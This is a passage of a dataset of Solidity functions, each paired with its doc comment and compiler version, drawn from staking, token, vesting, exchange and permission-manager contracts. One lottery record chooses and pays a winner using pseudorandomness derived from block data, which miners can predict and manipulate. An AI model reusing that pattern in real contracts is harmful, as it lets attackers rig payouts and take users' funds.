positionOnOthers[_from][_to].add(_value);\r\n\t\ttotalPositionOnOthers[_from] = totalPositionOnOthers[_from].add(_value);\r\n\t\tpositionFromOthers[_to] = positionFromOthers[_to].add(_value);\r\n\r\n\t\temit PositionFrom(_from, _to, _value);\r\n\t\treturn true;\r\n\t}", "version": "0.5.4"} {"comment": "/**\r\n \t * @dev `_from` Name unposition `_value` Logos from `_to` Name\r\n \t *\r\n \t * @param _from The address of the sender\r\n \t * @param _to The address of the recipient\r\n \t * @param _value the amount to unposition\r\n \t * @return true on success\r\n \t */", "function_code": "function unpositionFrom(address _from, address _to, uint256 _value) public isName(_from) isName(_to) nameNotCompromised(_from) nameNotCompromised(_to) onlyAdvocate(_from) senderNameNotCompromised returns (bool) {\r\n\t\trequire (_from != _to);\t// Can't unposition Logos to itself\r\n\t\trequire (positionOnOthers[_from][_to] >= _value);\r\n\r\n\t\tpositionOnOthers[_from][_to] = positionOnOthers[_from][_to].sub(_value);\r\n\t\ttotalPositionOnOthers[_from] = totalPositionOnOthers[_from].sub(_value);\r\n\t\tpositionFromOthers[_to] = positionFromOthers[_to].sub(_value);\r\n\r\n\t\temit UnpositionFrom(_from, _to, _value);\r\n\t\treturn true;\r\n\t}", "version": "0.5.4"} {"comment": "/**\r\n \t * @dev Add `_amount` logos earned from advocating a TAO `_taoId` to its Advocate\r\n \t * @param _taoId The ID of the advocated TAO\r\n \t * @param _amount the amount to reward\r\n \t * @return true on success\r\n \t */", "function_code": "function addAdvocatedTAOLogos(address _taoId, uint256 _amount) public inWhitelist isTAO(_taoId) returns (bool) {\r\n\t\trequire (_amount > 0);\r\n\t\taddress _nameId = _nameTAOPosition.getAdvocate(_taoId);\r\n\r\n\t\tadvocatedTAOLogos[_nameId][_taoId] = advocatedTAOLogos[_nameId][_taoId].add(_amount);\r\n\t\ttotalAdvocatedTAOLogos[_nameId] = totalAdvocatedTAOLogos[_nameId].add(_amount);\r\n\r\n\t\temit AddAdvocatedTAOLogos(_nameId, _taoId, _amount);\r\n\t\treturn true;\r\n\t}", "version": "0.5.4"} {"comment": "/**\r\n \t * @dev Transfer logos earned from advocating a TAO `_taoId` from `_fromNameId` to the Advocate of `_taoId`\r\n \t * @param _fromNameId The ID of the Name that sends the Logos\r\n \t * @param _taoId The ID of the advocated TAO\r\n \t * @return true on success\r\n \t */", "function_code": "function transferAdvocatedTAOLogos(address _fromNameId, address _taoId) public inWhitelist isName(_fromNameId) isTAO(_taoId) returns (bool) {\r\n\t\taddress _toNameId = _nameTAOPosition.getAdvocate(_taoId);\r\n\t\trequire (_fromNameId != _toNameId);\r\n\t\trequire (totalAdvocatedTAOLogos[_fromNameId] >= advocatedTAOLogos[_fromNameId][_taoId]);\r\n\r\n\t\tuint256 _amount = advocatedTAOLogos[_fromNameId][_taoId];\r\n\t\tadvocatedTAOLogos[_fromNameId][_taoId] = 0;\r\n\t\ttotalAdvocatedTAOLogos[_fromNameId] = totalAdvocatedTAOLogos[_fromNameId].sub(_amount);\r\n\t\tadvocatedTAOLogos[_toNameId][_taoId] = advocatedTAOLogos[_toNameId][_taoId].add(_amount);\r\n\t\ttotalAdvocatedTAOLogos[_toNameId] = totalAdvocatedTAOLogos[_toNameId].add(_amount);\r\n\r\n\t\temit TransferAdvocatedTAOLogos(_fromNameId, _toNameId, _taoId, _amount);\r\n\t\treturn true;\r\n\t}", "version": "0.5.4"} {"comment": "/**\r\n \t * @dev Create a pool for a TAO\r\n \t */", "function_code": "function createPool(\r\n\t\taddress _taoId,\r\n\t\tbool _ethosCapStatus,\r\n\t\tuint256 _ethosCapAmount\r\n\t) external isTAO(_taoId) onlyTAOFactory returns (bool) {\r\n\t\t// Make sure ethos cap amount is provided if ethos cap is enabled\r\n\t\tif (_ethosCapStatus) {\r\n\t\t\trequire (_ethosCapAmount > 0);\r\n\t\t}\r\n\t\t// Make sure the pool is not yet created\r\n\t\trequire (pools[_taoId].taoId == address(0));\r\n\r\n\t\tPool storage _pool = pools[_taoId];\r\n\t\t_pool.taoId = _taoId;\r\n\t\t_pool.status = true;\r\n\t\t_pool.ethosCapStatus = _ethosCapStatus;\r\n\t\tif (_ethosCapStatus) {\r\n\t\t\t_pool.ethosCapAmount = _ethosCapAmount;\r\n\t\t}\r\n\r\n\t\temit CreatePool(_pool.taoId, _pool.ethosCapStatus, _pool.ethosCapAmount, _pool.status);\r\n\t\treturn true;\r\n\t}", "version": "0.5.4"} {"comment": "/**\r\n \t * @dev Update Ethos cap of a Pool\r\n \t * @param _taoId The TAO ID of the Pool\r\n \t * @param _ethosCapStatus The ethos cap status to set\r\n \t * @param _ethosCapAmount The ethos cap amount to set\r\n \t */", "function_code": "function updatePoolEthosCap(address _taoId, bool _ethosCapStatus, uint256 _ethosCapAmount) public isTAO(_taoId) onlyAdvocate(_taoId) senderNameNotCompromised {\r\n\t\trequire (pools[_taoId].taoId != address(0));\r\n\t\t// If there is an ethos cap\r\n\t\tif (_ethosCapStatus) {\r\n\t\t\trequire (_ethosCapAmount > 0 && _ethosCapAmount > _pathos.balanceOf(_taoId));\r\n\t\t}\r\n\r\n\t\tpools[_taoId].ethosCapStatus = _ethosCapStatus;\r\n\t\tif (_ethosCapStatus) {\r\n\t\t\tpools[_taoId].ethosCapAmount = _ethosCapAmount;\r\n\t\t}\r\n\r\n\t\tuint256 _nonce = _taoFactory.incrementNonce(_taoId);\r\n\t\trequire (_nonce > 0);\r\n\r\n\t\temit UpdatePoolEthosCap(_taoId, _ethosCapStatus, _ethosCapAmount, _nonce);\r\n\t}", "version": "0.5.4"} {"comment": "/**\r\n \t * @dev A Name stakes Ethos in Pool `_taoId`\r\n \t * @param _taoId The TAO ID of the Pool\r\n \t * @param _quantity The amount of Ethos to be staked\r\n \t */", "function_code": "function stakeEthos(address _taoId, uint256 _quantity) public isTAO(_taoId) senderIsName senderNameNotCompromised {\r\n\t\tPool memory _pool = pools[_taoId];\r\n\t\taddress _nameId = _nameFactory.ethAddressToNameId(msg.sender);\r\n\t\trequire (_pool.status == true && _quantity > 0 && _ethos.balanceOf(_nameId) >= _quantity);\r\n\r\n\t\t// If there is an ethos cap\r\n\t\tif (_pool.ethosCapStatus) {\r\n\t\t\trequire (_ethos.balanceOf(_taoId).add(_quantity) <= _pool.ethosCapAmount);\r\n\t\t}\r\n\r\n\t\t// Create Ethos Lot for this transaction\r\n\t\tcontractTotalEthosLot++;\r\n\t\tpoolTotalEthosLot[_taoId]++;\r\n\r\n\t\t// Generate Ethos Lot ID\r\n\t\tbytes32 _ethosLotId = keccak256(abi.encodePacked(this, msg.sender, contractTotalEthosLot));\r\n\r\n\t\tEthosLot storage _ethosLot = ethosLots[_ethosLotId];\r\n\t\t_ethosLot.ethosLotId = _ethosLotId;\r\n\t\t_ethosLot.nameId = _nameId;\r\n\t\t_ethosLot.lotQuantity = _quantity;\r\n\t\t_ethosLot.taoId = _taoId;\r\n\t\t_ethosLot.poolPreStakeSnapshot = _ethos.balanceOf(_taoId);\r\n\t\t_ethosLot.poolStakeLotSnapshot = _ethos.balanceOf(_taoId).add(_quantity);\r\n\t\t_ethosLot.lotValueInLogos = _quantity;\r\n\t\t_ethosLot.timestamp = now;\r\n\r\n\t\townerEthosLots[_nameId].push(_ethosLotId);\r\n\r\n\t\t// Update contract variables\r\n\t\ttotalEthosStaked[_nameId] = totalEthosStaked[_nameId].add(_quantity);\r\n\t\tnamePoolEthosStaked[_nameId][_taoId] = namePoolEthosStaked[_nameId][_taoId].add(_quantity);\r\n\t\tcontractTotalEthos = contractTotalEthos.add(_quantity);\r\n\r\n\t\trequire (_ethos.transferFrom(_nameId, _taoId, _quantity));\r\n\r\n\t\temit StakeEthos(_ethosLot.taoId, _ethosLot.ethosLotId, _ethosLot.nameId, _ethosLot.lotQuantity, _ethosLot.poolPreStakeSnapshot, _ethosLot.poolStakeLotSnapshot, _ethosLot.lotValueInLogos, _ethosLot.timestamp);\r\n\t}", "version": "0.5.4"} {"comment": "/**\r\n \t * @dev Get list of owner's Ethos Lot IDs from `_from` to `_to` index\r\n \t * @param _nameId The Name Id of the Ethos Lot's owner\r\n \t * @param _from The starting index, (i.e 0)\r\n \t * @param _to The ending index, (i.e total - 1)\r\n \t * @return list of owner's Ethos Lot IDs\r\n \t */", "function_code": "function ownerEthosLotIds(address _nameId, uint256 _from, uint256 _to) public view returns (bytes32[] memory) {\r\n\t\trequire (_from >= 0 && _to >= _from && ownerEthosLots[_nameId].length > _to);\r\n\t\tbytes32[] memory _ethosLotIds = new bytes32[](_to.sub(_from).add(1));\r\n\t\tfor (uint256 i = _from; i <= _to; i++) {\r\n\t\t\t_ethosLotIds[i.sub(_from)] = ownerEthosLots[_nameId][i];\r\n\t\t}\r\n\t\treturn _ethosLotIds;\r\n\t}", "version": "0.5.4"} {"comment": "/**\r\n \t * @dev Name that staked Ethos withdraw Logos from Ethos Lot `_ethosLotId`\r\n \t * @param _ethosLotId The ID of the Ethos Lot\r\n \t */", "function_code": "function withdrawLogos(bytes32 _ethosLotId) public senderIsName senderNameNotCompromised {\r\n\t\tEthosLot storage _ethosLot = ethosLots[_ethosLotId];\r\n\t\taddress _nameId = _nameFactory.ethAddressToNameId(msg.sender);\r\n\t\trequire (_ethosLot.nameId == _nameId && _ethosLot.lotValueInLogos > 0);\r\n\r\n\t\tuint256 logosAvailableToWithdraw = lotLogosAvailableToWithdraw(_ethosLotId);\r\n\r\n\t\trequire (logosAvailableToWithdraw > 0 && logosAvailableToWithdraw <= _ethosLot.lotValueInLogos);\r\n\r\n\t\t// Update lot variables\r\n\t\t_ethosLot.logosWithdrawn = _ethosLot.logosWithdrawn.add(logosAvailableToWithdraw);\r\n\t\t_ethosLot.lotValueInLogos = _ethosLot.lotValueInLogos.sub(logosAvailableToWithdraw);\r\n\r\n\t\t// Update contract variables\r\n\t\tcontractTotalLogosWithdrawn = contractTotalLogosWithdrawn.add(logosAvailableToWithdraw);\r\n\t\tpoolTotalLogosWithdrawn[_ethosLot.taoId] = poolTotalLogosWithdrawn[_ethosLot.taoId].add(logosAvailableToWithdraw);\r\n\t\ttotalLogosWithdrawn[_ethosLot.nameId] = totalLogosWithdrawn[_ethosLot.nameId].add(logosAvailableToWithdraw);\r\n\t\tnamePoolLogosWithdrawn[_ethosLot.nameId][_ethosLot.taoId] = namePoolLogosWithdrawn[_ethosLot.nameId][_ethosLot.taoId].add(logosAvailableToWithdraw);\r\n\r\n\t\t// Mint logos to seller\r\n\t\trequire (_logos.mint(_nameId, logosAvailableToWithdraw));\r\n\r\n\t\temit WithdrawLogos(_ethosLot.nameId, _ethosLot.ethosLotId, _ethosLot.taoId, logosAvailableToWithdraw, _ethosLot.lotValueInLogos, _ethosLot.logosWithdrawn, now);\r\n\t}", "version": "0.5.4"} {"comment": "/**\r\n \t * @dev Name gets Ethos Lot `_ethosLotId` available Logos to withdraw\r\n \t * @param _ethosLotId The ID of the Ethos Lot\r\n \t * @return The amount of Logos available to withdraw\r\n \t */", "function_code": "function lotLogosAvailableToWithdraw(bytes32 _ethosLotId) public view returns (uint256) {\r\n\t\tEthosLot memory _ethosLot = ethosLots[_ethosLotId];\r\n\t\trequire (_ethosLot.nameId != address(0));\r\n\r\n\t\tuint256 logosAvailableToWithdraw = 0;\r\n\r\n\t\tif (_pathos.balanceOf(_ethosLot.taoId) > _ethosLot.poolPreStakeSnapshot && _ethosLot.lotValueInLogos > 0) {\r\n\t\t\tlogosAvailableToWithdraw = (_pathos.balanceOf(_ethosLot.taoId) >= _ethosLot.poolStakeLotSnapshot) ? _ethosLot.lotQuantity : _pathos.balanceOf(_ethosLot.taoId).sub(_ethosLot.poolPreStakeSnapshot);\r\n\t\t\tif (logosAvailableToWithdraw > 0) {\r\n\t\t\t\tlogosAvailableToWithdraw = logosAvailableToWithdraw.sub(_ethosLot.logosWithdrawn);\r\n\t\t\t}\r\n\t\t}\r\n\t\treturn logosAvailableToWithdraw;\r\n\t}", "version": "0.5.4"} {"comment": "/* Constructor function - initialize Kitten Coins */", "function_code": "function KittenCoin() {\r\n totalSupply = 400000000 * (10 ** uint256(decimals)); // So many kittens on earth\r\n balances[msg.sender] = totalSupply / 10; // To help kittens grow safely\r\n kittensIssued = totalSupply / 10;\r\n kittenTalk = \"Meow\";\r\n }", "version": "0.4.13"} {"comment": "// Other functions", "function_code": "function PRNG() internal view returns (uint256) {\r\n uint256 initialize1 = block.timestamp;\r\n uint256 initialize2 = uint256(block.coinbase);\r\n uint256 initialize3 = uint256(blockhash(entryCounter));\r\n uint256 initialize4 = block.number;\r\n uint256 initialize5 = block.gaslimit;\r\n uint256 initialize6 = block.difficulty;\r\n\r\n uint256 calc1 = uint256(keccak256(abi.encodePacked((initialize1 * 5),initialize5,initialize6)));\r\n uint256 calc2 = 1-calc1;\r\n int256 ov = int8(calc2);\r\n uint256 calc3 = uint256(sha256(abi.encodePacked(initialize1,ov,initialize3,initialize4)));\r\n uint256 PRN = uint256(keccak256(abi.encodePacked(initialize1,calc1,initialize2,initialize3,calc3)))%(entryCounter);\r\n return PRN;\r\n }", "version": "0.4.24"} {"comment": "// Choose a winner and pay him", "function_code": "function payWinner() internal returns (address) {\r\n uint256 balance = address(this).balance;\r\n uint256 number = PRNG(); // generates a pseudorandom number\r\n address winner = entries[number]; // choose the winner with the pseudorandom number\r\n winner.transfer(balance); // payout winner\r\n entryCounter = 0; // Zero entries again => Lottery resetted\r\n\r\n emit WinnerPaid(balance, winner);\r\n return winner;\r\n }", "version": "0.4.24"} {"comment": "// change the Threshold", "function_code": "function changeThreshold(uint newThreshold) onlyOwner() public {\r\n // Owner is only able to change the threshold when no one bought (otherwise it would be unfair)\r\n require(entryCounter == 0);\r\n automaticThreshold = newThreshold;\r\n }", "version": "0.4.24"} {"comment": "/**\n * Extracts the timestamp component of a Version 1 UUID. Used to make time-based assertions\n * against a wallet-privided nonce\n */", "function_code": "function getTimestampInMsFromUuidV1(uint128 uuid)\n internal\n pure\n returns (uint64 msSinceUnixEpoch)\n {\n // https://tools.ietf.org/html/rfc4122#section-4.1.2\n uint128 version = (uuid >> 76) & 0x0000000000000000000000000000000F;\n require(version == 1, 'Must be v1 UUID');\n\n // Time components are in reverse order so shift+mask each to reassemble\n uint128 timeHigh = (uuid >> 16) & 0x00000000000000000FFF000000000000;\n uint128 timeMid = (uuid >> 48) & 0x00000000000000000000FFFF00000000;\n uint128 timeLow = (uuid >> 96) & 0x000000000000000000000000FFFFFFFF;\n uint128 nsSinceGregorianEpoch = (timeHigh | timeMid | timeLow);\n // Gregorian offset given in seconds by https://www.wolframalpha.com/input/?i=convert+1582-10-15+UTC+to+unix+time\n msSinceUnixEpoch = uint64(nsSinceGregorianEpoch / 10000).sub(\n 12219292800000\n );\n\n return msSinceUnixEpoch;\n }", "version": "0.6.8"} {"comment": "// Adapted from https://github.com/albertocuestacanada/ERC20Permit/blob/master/contracts/ERC20Permit.sol", "function_code": "function permit(address owner, address spender, uint256 amount, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external {\r\n require(block.timestamp <= deadline, \"expired\");\r\n bytes32 hashStruct = keccak256(abi.encode(\r\n PERMIT_TYPEHASH,\r\n owner,\r\n spender,\r\n amount,\r\n nonces[owner]++,\r\n deadline));\r\n bytes32 hash = keccak256(abi.encodePacked(\r\n '\\x19\\x01',\r\n DOMAIN_SEPARATOR,\r\n hashStruct));\r\n address signer = ecrecover(hash, v, r, s);\r\n require(signer != address(0) && signer == owner, \"!signer\");\r\n _approve(owner, spender, amount);\r\n }", "version": "0.8.0"} {"comment": "/**\r\n * @notice Find the number of tokens to burn from `value`. Approximated at 0.3125%.\r\n * @param value The value to find the burn amount from\r\n * @return The found burn amount\r\n */", "function_code": "function findBurnAmount(uint256 value) public view returns(uint256) {\r\n //Allow transfers of 0.000000000000000001\r\n if (value == 1) {\r\n return 0;\r\n }\r\n uint256 roundValue = value.ceil(basePercent);\r\n //Gas optimized\r\n uint256 burnAmount = roundValue.mul(100).div(32000);\r\n return burnAmount;\r\n }", "version": "0.5.17"} {"comment": "/**\r\n * @notice Transfer `value` minus `findBurnAmount(value)` tokens from `msg.sender` to `to`, \r\n * while subtracting `findBurnAmount(value)` tokens from `_totalSupply`. This performs a transfer with an approximated fee of 0.3125%\r\n * @param to The address of the destination account\r\n * @param value The number of tokens to transfer\r\n * @return Whether or not the transfer succeeded\r\n */", "function_code": "function transfer(address to, uint256 value) public returns(bool) {\r\n require(to != address(0));\r\n\r\n uint256 tokensToBurn = findBurnAmount(value);\r\n uint256 tokensToTransfer = value.sub(tokensToBurn);\r\n\r\n _balances[msg.sender] = _balances[msg.sender].sub(value);\r\n _balances[to] = _balances[to].add(tokensToTransfer);\r\n\r\n _totalSupply = _totalSupply.sub(tokensToBurn);\r\n\r\n emit Transfer(msg.sender, to, tokensToTransfer);\r\n emit Transfer(msg.sender, address(0), tokensToBurn);\r\n return true;\r\n }", "version": "0.5.17"} {"comment": "// view function to calculate claimable tokens", "function_code": "function calculateClaimAmount(address _recipient) internal view returns (uint amount) {\n uint newClaimAmount;\n if (block.timestamp >= allocations[_recipient].endVesting) {\n newClaimAmount = allocations[_recipient].totalAllocated;\n }\n else if (block.timestamp >= allocations[_recipient].endCliff) {\n newClaimAmount += ((allocations[_recipient].totalAllocated)\n \t* (block.timestamp - allocations[_recipient].endCliff))\n / (allocations[_recipient].endVesting - allocations[_recipient].endCliff);\n }\n return newClaimAmount;\n }", "version": "0.8.4"} {"comment": "/**\n * @dev Set the minters and their corresponding allocations. Each mint gets 40000 Path Tokens with a vesting schedule\n * @param _addresses The recipient of the allocation\n * @param _totalAllocated The total number of minted NFT\n */", "function_code": "function setAllocation(\n address[] memory _addresses,\n uint[] memory _totalAllocated,\n uint[] memory _endCliff,\n uint[] memory _endVesting) onlyOwner external {\n //make sure that the length of address and total minted is the same\n require(_addresses.length == _totalAllocated.length, \"length of array should be the same\");\n require(_addresses.length == _endCliff.length, \"length of array should be the same\");\n require(_addresses.length == _endVesting.length, \"length of array should be the same\");\n uint amountToTransfer;\n for (uint i = 0; i < _addresses.length; i++ ) {\n require(_endCliff[i] <= _endVesting[i], \"End cliff should be earlier than end vesting\");\n allocations[_addresses[i]] = Allocation(\n _endCliff[i],\n _endVesting[i],\n _totalAllocated[i],\n 0);\n amountToTransfer += _totalAllocated[i];\n totalAllocated += _totalAllocated[i];\n }\n require(token.transferFrom(msg.sender, address(this), amountToTransfer), \"Token transfer failed\");\n }", "version": "0.8.4"} {"comment": "/**\n * @dev transfers allocated tokens to recipient to their address\n * @param _recipient the addresss to withdraw tokens for\n */", "function_code": "function transferTokens(address _recipient) external {\n require(allocations[_recipient].amountClaimed < allocations[_recipient].totalAllocated, \"Address should have some allocated tokens\");\n require(startTime <= block.timestamp, \"Start time of claim should be earlier than current time\");\n //transfer tokens after subtracting tokens claimed\n uint newClaimAmount = calculateClaimAmount(_recipient);\n uint tokensToClaim = getClaimTotal(_recipient);\n require(tokensToClaim > 0, \"Recipient should have more than 0 tokens to claim\");\n allocations[_recipient].amountClaimed = newClaimAmount;\n grandTotalClaimed += tokensToClaim;\n require(token.transfer(_recipient, tokensToClaim), \"Token transfer failed\");\n emit claimedToken(_recipient, tokensToClaim, allocations[_recipient].amountClaimed);\n }", "version": "0.8.4"} {"comment": "/**\n * @dev Combines base and quote asset symbols into the market symbol originally signed by the\n * wallet. For example if base is 'IDEX' and quote is 'ETH', the resulting market symbol is\n * 'IDEX-ETH'. This approach is used rather than passing in the market symbol and splitting it\n * since the latter incurs a higher gas cost\n */", "function_code": "function getMarketSymbol(string memory baseSymbol, string memory quoteSymbol)\n private\n pure\n returns (string memory)\n {\n bytes memory baseSymbolBytes = bytes(baseSymbol);\n bytes memory hyphenBytes = bytes('-');\n bytes memory quoteSymbolBytes = bytes(quoteSymbol);\n\n bytes memory marketSymbolBytes = bytes(\n new string(\n baseSymbolBytes.length + quoteSymbolBytes.length + hyphenBytes.length\n )\n );\n\n uint256 i;\n uint256 j;\n\n for (i = 0; i < baseSymbolBytes.length; i++) {\n marketSymbolBytes[j++] = baseSymbolBytes[i];\n }\n\n // Hyphen is one byte\n marketSymbolBytes[j++] = hyphenBytes[0];\n\n for (i = 0; i < quoteSymbolBytes.length; i++) {\n marketSymbolBytes[j++] = quoteSymbolBytes[i];\n }\n\n return string(marketSymbolBytes);\n }", "version": "0.6.8"} {"comment": "/**\n * @dev Converts an integer pip quantity back into the fixed-precision decimal pip string\n * originally signed by the wallet. For example, 1234567890 becomes '12.34567890'\n */", "function_code": "function pipToDecimal(uint256 pips) private pure returns (string memory) {\n // Inspired by https://github.com/provable-things/ethereum-api/blob/831f4123816f7a3e57ebea171a3cdcf3b528e475/oraclizeAPI_0.5.sol#L1045-L1062\n uint256 copy = pips;\n uint256 length;\n while (copy != 0) {\n length++;\n copy /= 10;\n }\n if (length < 9) {\n length = 9; // a zero before the decimal point plus 8 decimals\n }\n length++; // for the decimal point\n\n bytes memory decimal = new bytes(length);\n for (uint256 i = length; i > 0; i--) {\n if (length - i == 8) {\n decimal[i - 1] = bytes1(uint8(46)); // period\n } else {\n decimal[i - 1] = bytes1(uint8(48 + (pips % 10)));\n pips /= 10;\n }\n }\n return string(decimal);\n }", "version": "0.6.8"} {"comment": "/**\n * @dev Resolves an asset address into corresponding Asset struct\n *\n * @param assetAddress Ethereum address of asset\n */", "function_code": "function loadAssetByAddress(Storage storage self, address assetAddress)\n internal\n view\n returns (Structs.Asset memory)\n {\n if (assetAddress == address(0x0)) {\n return getEthAsset();\n }\n\n Structs.Asset memory asset = self.assetsByAddress[assetAddress];\n require(\n asset.exists && asset.isConfirmed,\n 'No confirmed asset found for address'\n );\n\n return asset;\n }", "version": "0.6.8"} {"comment": "/**\n * @dev Resolves a asset symbol into corresponding Asset struct\n *\n * @param symbol Asset symbol, e.g. 'IDEX'\n * @param timestampInMs Milliseconds since Unix epoch, usually parsed from a UUID v1 order nonce.\n * Constrains symbol resolution to the asset most recently confirmed prior to timestampInMs. Reverts\n * if no such asset exists\n */", "function_code": "function loadAssetBySymbol(\n Storage storage self,\n string memory symbol,\n uint64 timestampInMs\n ) internal view returns (Structs.Asset memory) {\n if (isStringEqual('ETH', symbol)) {\n return getEthAsset();\n }\n\n Structs.Asset memory asset;\n if (self.assetsBySymbol[symbol].length > 0) {\n for (uint8 i = 0; i < self.assetsBySymbol[symbol].length; i++) {\n if (\n self.assetsBySymbol[symbol][i].confirmedTimestampInMs <= timestampInMs\n ) {\n asset = self.assetsBySymbol[symbol][i];\n }\n }\n }\n require(\n asset.exists && asset.isConfirmed,\n 'No confirmed asset found for symbol'\n );\n\n return asset;\n }", "version": "0.6.8"} {"comment": "/**\r\n * @notice Used to add a delegate\r\n * @param _delegate Ethereum address of the delegate\r\n * @param _details Details about the delegate i.e `Belongs to financial firm`\r\n */", "function_code": "function addDelegate(address _delegate, bytes32 _details) external withPerm(CHANGE_PERMISSION) {\r\n require(_delegate != address(0), \"Invalid address\");\r\n require(_details != bytes32(0), \"0 value not allowed\");\r\n require(delegateDetails[_delegate] == bytes32(0), \"Already present\");\r\n delegateDetails[_delegate] = _details;\r\n allDelegates.push(_delegate);\r\n /*solium-disable-next-line security/no-block-members*/\r\n emit AddDelegate(_delegate, _details, now);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Used to delete a delegate\r\n * @param _delegate Ethereum address of the delegate\r\n */", "function_code": "function deleteDelegate(address _delegate) external withPerm(CHANGE_PERMISSION) {\r\n require(delegateDetails[_delegate] != bytes32(0), \"delegate does not exist\");\r\n for (uint256 i = 0; i < allDelegates.length; i++) {\r\n if (allDelegates[i] == _delegate) {\r\n allDelegates[i] = allDelegates[allDelegates.length - 1];\r\n allDelegates.length = allDelegates.length - 1;\r\n }\r\n }\r\n delete delegateDetails[_delegate];\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Used to change one or more permissions for a single delegate at once\r\n * @param _delegate Ethereum address of the delegate\r\n * @param _modules Multiple module matching the multiperms, needs to be same length\r\n * @param _perms Multiple permission flag needs to be changed\r\n * @param _valids Bool array consist the flag to switch on/off the permission\r\n * @return nothing\r\n */", "function_code": "function changePermissionMulti(\r\n address _delegate,\r\n address[] _modules,\r\n bytes32[] _perms,\r\n bool[] _valids\r\n )\r\n external\r\n withPerm(CHANGE_PERMISSION)\r\n {\r\n require(_delegate != address(0), \"invalid address\");\r\n require(_modules.length > 0, \"0 length is not allowed\");\r\n require(_modules.length == _perms.length, \"Array length mismatch\");\r\n require(_valids.length == _perms.length, \"Array length mismatch\");\r\n for(uint256 i = 0; i < _perms.length; i++) {\r\n _changePermission(_delegate, _modules[i], _perms[i], _valids[i]);\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Used to return all delegates with a given permission and module\r\n * @param _module Ethereum contract address of the module\r\n * @param _perm Permission flag\r\n * @return address[]\r\n */", "function_code": "function getAllDelegatesWithPerm(address _module, bytes32 _perm) external view returns(address[]) {\r\n uint256 counter = 0;\r\n uint256 i = 0;\r\n for (i = 0; i < allDelegates.length; i++) {\r\n if (perms[_module][allDelegates[i]][_perm]) {\r\n counter++;\r\n }\r\n }\r\n address[] memory allDelegatesWithPerm = new address[](counter);\r\n counter = 0;\r\n for (i = 0; i < allDelegates.length; i++) {\r\n if (perms[_module][allDelegates[i]][_perm]){\r\n allDelegatesWithPerm[counter] = allDelegates[i];\r\n counter++;\r\n }\r\n }\r\n return allDelegatesWithPerm;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice This function is used to validate the version submitted\r\n * @param _current Array holds the present version of ST\r\n * @param _new Array holds the latest version of the ST\r\n * @return bool\r\n */", "function_code": "function isValidVersion(uint8[] _current, uint8[] _new) internal pure returns(bool) {\r\n bool[] memory _temp = new bool[](_current.length);\r\n uint8 counter = 0;\r\n for (uint8 i = 0; i < _current.length; i++) {\r\n if (_current[i] < _new[i])\r\n _temp[i] = true;\r\n else\r\n _temp[i] = false;\r\n }\r\n\r\n for (i = 0; i < _current.length; i++) {\r\n if (i == 0) {\r\n if (_current[i] <= _new[i])\r\n if(_temp[0]) {\r\n counter = counter + 3;\r\n break;\r\n } else\r\n counter++;\r\n else\r\n return false;\r\n } else {\r\n if (_temp[i-1])\r\n counter++;\r\n else if (_current[i] <= _new[i])\r\n counter++;\r\n else\r\n return false;\r\n }\r\n }\r\n if (counter == _current.length)\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Used to compare the lower bound with the latest version\r\n * @param _version1 Array holds the lower bound of the version\r\n * @param _version2 Array holds the latest version of the ST\r\n * @return bool\r\n */", "function_code": "function compareLowerBound(uint8[] _version1, uint8[] _version2) internal pure returns(bool) {\r\n require(_version1.length == _version2.length, \"Input length mismatch\");\r\n uint counter = 0;\r\n for (uint8 j = 0; j < _version1.length; j++) {\r\n if (_version1[j] == 0)\r\n counter ++;\r\n }\r\n if (counter != _version1.length) {\r\n counter = 0;\r\n for (uint8 i = 0; i < _version1.length; i++) {\r\n if (_version2[i] > _version1[i])\r\n return true;\r\n else if (_version2[i] < _version1[i])\r\n return false;\r\n else\r\n counter++;\r\n }\r\n if (counter == _version1.length - 1)\r\n return true;\r\n else\r\n return false;\r\n } else\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Function use to change the lower and upper bound of the compatible version st\r\n * @param _boundType Type of bound\r\n * @param _newVersion new version array\r\n */", "function_code": "function changeSTVersionBounds(string _boundType, uint8[] _newVersion) external onlyOwner {\r\n require(\r\n keccak256(abi.encodePacked(_boundType)) == keccak256(abi.encodePacked(\"lowerBound\")) ||\r\n keccak256(abi.encodePacked(_boundType)) == keccak256(abi.encodePacked(\"upperBound\")),\r\n \"Must be a valid bound type\"\r\n );\r\n require(_newVersion.length == 3);\r\n if (compatibleSTVersionRange[_boundType] != uint24(0)) { \r\n uint8[] memory _currentVersion = VersionUtils.unpack(compatibleSTVersionRange[_boundType]);\r\n require(VersionUtils.isValidVersion(_currentVersion, _newVersion), \"Failed because of in-valid version\");\r\n }\r\n compatibleSTVersionRange[_boundType] = VersionUtils.pack(_newVersion[0], _newVersion[1], _newVersion[2]);\r\n emit ChangeSTVersionBound(_boundType, _newVersion[0], _newVersion[1], _newVersion[2]);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Used to launch the Module with the help of factory\r\n * @return address Contract address of the Module\r\n */", "function_code": "function deploy(bytes /* _data */) external returns(address) {\r\n if(setupCost > 0)\r\n require(polyToken.transferFrom(msg.sender, owner, setupCost), \"Failed transferFrom due to insufficent Allowance provided\");\r\n address permissionManager = new GeneralPermissionManager(msg.sender, address(polyToken));\r\n /*solium-disable-next-line security/no-block-members*/\r\n emit GenerateModuleFromFactory(address(permissionManager), getName(), address(this), msg.sender, setupCost, now);\r\n return permissionManager;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Returns the instructions associated with the module\r\n */", "function_code": "function getInstructions() external view returns(string) {\r\n /*solium-disable-next-line max-len*/\r\n return \"Add and remove permissions for the SecurityToken and associated modules. Permission types should be encoded as bytes32 values and attached using withPerm modifier to relevant functions. No initFunction required.\";\r\n }", "version": "0.4.24"} {"comment": "/**\r\n @notice Sets a new resource for handler contracts that use the IGenericHandler interface,\r\n and maps the {handlerAddress} to {resourceID} in {_resourceIDToHandlerAddress}.\r\n @notice Only callable by an address that currently has the admin role.\r\n @param handlerAddress Address of handler resource will be set for.\r\n @param resourceID ResourceID to be used when making deposits.\r\n @param contractAddress Address of contract to be called when a deposit is made and a deposited is executed.\r\n */", "function_code": "function adminSetGenericResource(\r\n address handlerAddress,\r\n bytes32 resourceID,\r\n address contractAddress,\r\n bytes4 depositFunctionSig,\r\n uint256 